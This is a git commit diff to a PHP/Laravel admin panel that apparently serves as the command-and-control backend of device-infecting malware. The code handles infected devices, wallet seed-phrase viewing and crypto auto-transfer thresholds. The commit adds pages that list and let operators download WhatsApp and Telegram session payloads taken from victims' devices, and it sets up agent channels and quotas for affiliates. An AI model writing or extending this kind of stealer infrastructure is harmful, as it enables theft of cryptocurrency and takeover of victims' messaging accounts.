feat: tg/ws
This commit is contained in:
@@ -58,6 +58,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||||
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||||
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||||
|
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
||||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
@@ -84,6 +85,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$user = User::query()->create([
|
$user = User::query()->create([
|
||||||
@@ -97,6 +99,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||||
|
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||||
@@ -114,6 +117,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (array_key_exists('comment', $data)) {
|
if (array_key_exists('comment', $data)) {
|
||||||
@@ -128,6 +132,9 @@ class AgentUserController extends Controller
|
|||||||
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
||||||
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
||||||
}
|
}
|
||||||
|
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
|
||||||
|
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
|
||||||
|
}
|
||||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||||
$key = 'auto_transfer_threshold_'.$coin;
|
$key = 'auto_transfer_threshold_'.$coin;
|
||||||
if (array_key_exists($key, $data)) {
|
if (array_key_exists($key, $data)) {
|
||||||
|
|||||||
@@ -100,17 +100,12 @@ class ChannelController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function randomId(Request $request)
|
public function randomId()
|
||||||
{
|
{
|
||||||
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
|
|
||||||
$channelId = $builderType === Channel::BUILDER_NEW
|
|
||||||
? Channel::randomNewChannelId()
|
|
||||||
: Channel::randomChannelId();
|
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => '',
|
'msg' => '',
|
||||||
'data' => ['channel_id' => $channelId],
|
'data' => ['channel_id' => Channel::randomNewChannelId()],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -118,18 +113,8 @@ class ChannelController extends Controller
|
|||||||
{
|
{
|
||||||
abort_if($this->isAgentPortal(), 403);
|
abort_if($this->isAgentPortal(), 403);
|
||||||
|
|
||||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
|
|
||||||
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
|
|
||||||
$builderType = Channel::BUILDER_OLD;
|
|
||||||
}
|
|
||||||
|
|
||||||
$channelIdRule = $builderType === Channel::BUILDER_NEW
|
|
||||||
? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
|
|
||||||
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
|
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'channel_id' => $channelIdRule,
|
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
|
||||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
|
||||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||||
@@ -138,15 +123,13 @@ class ChannelController extends Controller
|
|||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if ($builderType === Channel::BUILDER_NEW) {
|
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
if ($normalized === null) {
|
||||||
if ($normalized === null) {
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
||||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
}
|
||||||
}
|
$data['channel_id'] = $normalized;
|
||||||
$data['channel_id'] = $normalized;
|
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
||||||
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
@@ -154,7 +137,7 @@ class ChannelController extends Controller
|
|||||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$builderType = (string) ($data['builder_type'] ?? $builderType);
|
$builderType = Channel::BUILDER_NEW;
|
||||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||||
$this->assertAgentChannelQuota($userId);
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ class DashboardController extends Controller
|
|||||||
'date_from' => trim((string) $request->query('date_from', '')),
|
'date_from' => trim((string) $request->query('date_from', '')),
|
||||||
'date_to' => trim((string) $request->query('date_to', '')),
|
'date_to' => trim((string) $request->query('date_to', '')),
|
||||||
'date_range' => trim((string) $request->query('date_range', '')),
|
'date_range' => trim((string) $request->query('date_range', '')),
|
||||||
'range' => (string) $request->query('range', '30d'),
|
'range' => (string) $request->query('range', 'today'),
|
||||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||||
'agent_user_id' => $this->isAgentPortal()
|
'agent_user_id' => $this->isAgentPortal()
|
||||||
? null
|
? null
|
||||||
|
|||||||
@@ -72,6 +72,9 @@ class DeviceController extends Controller
|
|||||||
'ip' => $d->ip ?: '',
|
'ip' => $d->ip ?: '',
|
||||||
'has_wallet' => (int) $d->has_wallet,
|
'has_wallet' => (int) $d->has_wallet,
|
||||||
'wallet_names' => $d->walletNameList(),
|
'wallet_names' => $d->walletNameList(),
|
||||||
|
'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0,
|
||||||
|
'has_telegram' => $d->hasTelegram() ? 1 : 0,
|
||||||
|
'im_names' => $d->imNameList(),
|
||||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||||
@@ -235,6 +238,7 @@ class DeviceController extends Controller
|
|||||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||||
|
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
|
||||||
$this->unmonitorAddresses($device);
|
$this->unmonitorAddresses($device);
|
||||||
$this->purgeDarkSwordLogs($device);
|
$this->purgeDarkSwordLogs($device);
|
||||||
|
|
||||||
@@ -604,7 +608,7 @@ class DeviceController extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int}
|
||||||
*/
|
*/
|
||||||
private function filtersFrom(Request $request): array
|
private function filtersFrom(Request $request): array
|
||||||
{
|
{
|
||||||
@@ -613,6 +617,10 @@ class DeviceController extends Controller
|
|||||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||||
$hasWalletInt = (int) $hasWallet;
|
$hasWalletInt = (int) $hasWallet;
|
||||||
}
|
}
|
||||||
|
$hasIm = strtolower(trim((string) $request->query('has_im', '')));
|
||||||
|
if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) {
|
||||||
|
$hasIm = '';
|
||||||
|
}
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'device_key' => trim((string) $request->query('device_key', '')),
|
'device_key' => trim((string) $request->query('device_key', '')),
|
||||||
@@ -624,12 +632,13 @@ class DeviceController extends Controller
|
|||||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||||
'has_wallet' => $hasWalletInt,
|
'has_wallet' => $hasWalletInt,
|
||||||
|
'has_im' => $hasIm,
|
||||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||||
*/
|
*/
|
||||||
private function filteredQuery(array $filters): Builder
|
private function filteredQuery(array $filters): Builder
|
||||||
{
|
{
|
||||||
@@ -663,6 +672,17 @@ class DeviceController extends Controller
|
|||||||
if ($filters['has_wallet'] !== null) {
|
if ($filters['has_wallet'] !== null) {
|
||||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||||
}
|
}
|
||||||
|
if ($filters['has_im'] === 'yes') {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
$inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true);
|
||||||
|
});
|
||||||
|
} elseif ($filters['has_im'] === 'none') {
|
||||||
|
$q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false);
|
||||||
|
} elseif ($filters['has_im'] === 'whatsapp') {
|
||||||
|
$q->where('devices.has_whatsapp', true);
|
||||||
|
} elseif ($filters['has_im'] === 'telegram') {
|
||||||
|
$q->where('devices.has_telegram', true);
|
||||||
|
}
|
||||||
if (! $this->isAgentPortal()) {
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ class MnemonicController extends Controller
|
|||||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
}
|
}
|
||||||
if (! $admin->hasGoogleBound()) {
|
if (! $admin->hasGoogleBound()) {
|
||||||
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
|
return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
|
|||||||
@@ -0,0 +1,180 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PluginSessionController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function whatsapp()
|
||||||
|
{
|
||||||
|
return $this->page(PluginSession::KIND_WHATSAPP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function telegram()
|
||||||
|
{
|
||||||
|
return $this->page(PluginSession::KIND_TELEGRAM);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function whatsappData(Request $request)
|
||||||
|
{
|
||||||
|
return $this->data($request, PluginSession::KIND_WHATSAPP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function telegramData(Request $request)
|
||||||
|
{
|
||||||
|
return $this->data($request, PluginSession::KIND_TELEGRAM);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function payload(PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => [
|
||||||
|
'id' => $pluginSession->id,
|
||||||
|
'kind' => $pluginSession->kind,
|
||||||
|
'payload_json' => json_encode(
|
||||||
|
$pluginSession->displayPayload(),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||||
|
),
|
||||||
|
'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function download(PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
$name = $pluginSession->downloadFilename();
|
||||||
|
$path = $pluginSession->payloadPath();
|
||||||
|
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||||
|
return Storage::disk('local')->download($path, $name);
|
||||||
|
}
|
||||||
|
|
||||||
|
$json = json_encode(
|
||||||
|
$pluginSession->fullPayload(),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||||
|
);
|
||||||
|
|
||||||
|
return response()->streamDownload(static function () use ($json) {
|
||||||
|
echo $json === false ? '{}' : $json;
|
||||||
|
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function page(string $kind)
|
||||||
|
{
|
||||||
|
$agents = $this->isAgentPortal()
|
||||||
|
? collect()
|
||||||
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||||
|
|
||||||
|
return view('admin.sessions.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'agents' => $agents,
|
||||||
|
'kind' => $kind,
|
||||||
|
'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function data(Request $request, string $kind)
|
||||||
|
{
|
||||||
|
$q = $this->baseQuery($request, $kind);
|
||||||
|
|
||||||
|
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||||
|
$field = (string) $request->query('field', 'id');
|
||||||
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||||
|
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
|
$portal = $this->portal();
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||||
|
/** @var PluginSession $row */
|
||||||
|
$summary = $row->listSummary();
|
||||||
|
|
||||||
|
return array_merge($summary, [
|
||||||
|
'id' => $row->id,
|
||||||
|
'kind' => $row->kind,
|
||||||
|
'device_key' => $row->device_key ?: '',
|
||||||
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
|
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||||
|
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
|
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||||
|
]);
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $paginator->total(),
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function baseQuery(Request $request, string $kind): Builder
|
||||||
|
{
|
||||||
|
$q = PluginSession::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
|
||||||
|
->where('plugin_sessions.kind', $kind)
|
||||||
|
->select([
|
||||||
|
'plugin_sessions.*',
|
||||||
|
'devices.device_id as device_key',
|
||||||
|
'devices.channel_id as device_channel_id',
|
||||||
|
]);
|
||||||
|
|
||||||
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
|
||||||
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
$account = trim((string) $request->query('account_id', ''));
|
||||||
|
if ($channelId !== '') {
|
||||||
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
if ($deviceKey !== '') {
|
||||||
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
|
}
|
||||||
|
if ($account !== '') {
|
||||||
|
$q->where(function (Builder $inner) use ($account) {
|
||||||
|
$inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
|
||||||
|
->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function authorizeSession(PluginSession $session): void
|
||||||
|
{
|
||||||
|
$device = $session->device;
|
||||||
|
abort_unless($device !== null, 404);
|
||||||
|
if ($agent = $this->agent()) {
|
||||||
|
$ids = AgentScope::channelIdsFor($agent);
|
||||||
|
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,209 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
namespace App\Http\Controllers\Admin;
|
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
|
||||||
use Illuminate\Http\Request;
|
|
||||||
use Illuminate\Support\Facades\File;
|
|
||||||
|
|
||||||
class RawLogController extends Controller
|
|
||||||
{
|
|
||||||
/** @var list<string> */
|
|
||||||
private const KINDS = ['c2', 'xxbb'];
|
|
||||||
|
|
||||||
private const PER_PAGE = 40;
|
|
||||||
|
|
||||||
private const MAX_PER_PAGE = 100;
|
|
||||||
|
|
||||||
/** Display cap so a single keystore/census blob cannot blow the HTML layout. */
|
|
||||||
private const MAX_ENTRY_CHARS = 16384;
|
|
||||||
|
|
||||||
private const CHUNK_BYTES = 262144;
|
|
||||||
|
|
||||||
/** Bound the backward-scan carry if a record has no separator. */
|
|
||||||
private const MAX_CARRY_BYTES = 524288;
|
|
||||||
|
|
||||||
public function index(Request $request)
|
|
||||||
{
|
|
||||||
$kind = $this->kind($request);
|
|
||||||
$path = trim((string) $request->query('path', ''));
|
|
||||||
$device = trim((string) $request->query('device', ''));
|
|
||||||
|
|
||||||
$groups = [];
|
|
||||||
foreach (self::KINDS as $k) {
|
|
||||||
$groups[$k] = $this->listFiles($k);
|
|
||||||
}
|
|
||||||
|
|
||||||
return view('admin.logs.index', compact('groups', 'kind', 'path', 'device'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function show(Request $request, string $kind, string $file)
|
|
||||||
{
|
|
||||||
$kind = in_array($kind, self::KINDS, true) ? $kind : 'c2';
|
|
||||||
$safe = basename($file);
|
|
||||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
|
||||||
abort(404);
|
|
||||||
}
|
|
||||||
$full = public_path('log/'.$kind.'/'.$safe);
|
|
||||||
abort_unless(is_file($full), 404);
|
|
||||||
|
|
||||||
$path = trim((string) $request->query('path', ''));
|
|
||||||
$device = trim((string) $request->query('device', ''));
|
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
|
||||||
$perPage = (int) $request->query('per_page', self::PER_PAGE);
|
|
||||||
$perPage = min(self::MAX_PER_PAGE, max(10, $perPage));
|
|
||||||
|
|
||||||
$read = $this->tailEntries($full, $path, $device, $page, $perPage);
|
|
||||||
|
|
||||||
return view('admin.logs.show', [
|
|
||||||
'kind' => $kind,
|
|
||||||
'file' => $safe,
|
|
||||||
'entries' => $read['entries'],
|
|
||||||
'path' => $path,
|
|
||||||
'device' => $device,
|
|
||||||
'page' => $read['page'],
|
|
||||||
'perPage' => $read['perPage'],
|
|
||||||
'hasOlder' => $read['hasOlder'],
|
|
||||||
'hasNewer' => $read['hasNewer'],
|
|
||||||
'fileSize' => $read['fileSize'],
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function kind(Request $request): string
|
|
||||||
{
|
|
||||||
$kind = (string) $request->query('kind', 'c2');
|
|
||||||
|
|
||||||
return in_array($kind, self::KINDS, true) ? $kind : 'c2';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Newest-first page of records, scanning backward so a multi-MB day file
|
|
||||||
* never lands in memory as one string.
|
|
||||||
*
|
|
||||||
* @return array{
|
|
||||||
* entries: list<string>,
|
|
||||||
* page: int,
|
|
||||||
* perPage: int,
|
|
||||||
* hasOlder: bool,
|
|
||||||
* hasNewer: bool,
|
|
||||||
* fileSize: int
|
|
||||||
* }
|
|
||||||
*/
|
|
||||||
private function tailEntries(string $full, string $path, string $device, int $page, int $perPage): array
|
|
||||||
{
|
|
||||||
$fileSize = (int) filesize($full);
|
|
||||||
$skip = ($page - 1) * $perPage;
|
|
||||||
$want = $skip + $perPage + 1;
|
|
||||||
$matched = [];
|
|
||||||
|
|
||||||
$fh = fopen($full, 'rb');
|
|
||||||
if ($fh === false) {
|
|
||||||
return [
|
|
||||||
'entries' => [],
|
|
||||||
'page' => $page,
|
|
||||||
'perPage' => $perPage,
|
|
||||||
'hasOlder' => false,
|
|
||||||
'hasNewer' => $page > 1,
|
|
||||||
'fileSize' => $fileSize,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
$pos = $fileSize;
|
|
||||||
$carry = '';
|
|
||||||
while ($pos > 0 && count($matched) < $want) {
|
|
||||||
$read = (int) min(self::CHUNK_BYTES, $pos);
|
|
||||||
$pos -= $read;
|
|
||||||
if (fseek($fh, $pos) !== 0) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
$chunk = fread($fh, $read);
|
|
||||||
if (! is_string($chunk) || $chunk === '') {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
$data = $chunk.$carry;
|
|
||||||
if (strlen($data) > self::MAX_CARRY_BYTES) {
|
|
||||||
$data = substr($data, -self::MAX_CARRY_BYTES);
|
|
||||||
}
|
|
||||||
$parts = preg_split("/\r\n\r\n/", $data) ?: [$data];
|
|
||||||
$carry = $parts[0];
|
|
||||||
for ($i = count($parts) - 1; $i >= 1; $i--) {
|
|
||||||
if ($this->collectEntry($matched, $parts[$i], $path, $device, $want)) {
|
|
||||||
break 2;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (count($matched) < $want && $pos === 0 && $carry !== '') {
|
|
||||||
$this->collectEntry($matched, $carry, $path, $device, $want);
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
fclose($fh);
|
|
||||||
}
|
|
||||||
|
|
||||||
$hasOlder = count($matched) > $skip + $perPage;
|
|
||||||
$entries = array_slice($matched, $skip, $perPage);
|
|
||||||
|
|
||||||
return [
|
|
||||||
'entries' => $entries,
|
|
||||||
'page' => $page,
|
|
||||||
'perPage' => $perPage,
|
|
||||||
'hasOlder' => $hasOlder,
|
|
||||||
'hasNewer' => $page > 1,
|
|
||||||
'fileSize' => $fileSize,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param list<string> $matched
|
|
||||||
*/
|
|
||||||
private function collectEntry(array &$matched, string $chunk, string $path, string $device, int $want): bool
|
|
||||||
{
|
|
||||||
$entry = trim($chunk);
|
|
||||||
if ($entry === '') {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
if ($path !== '' && ! str_contains($entry, $path)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
if ($device !== '' && ! str_contains($entry, $device)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
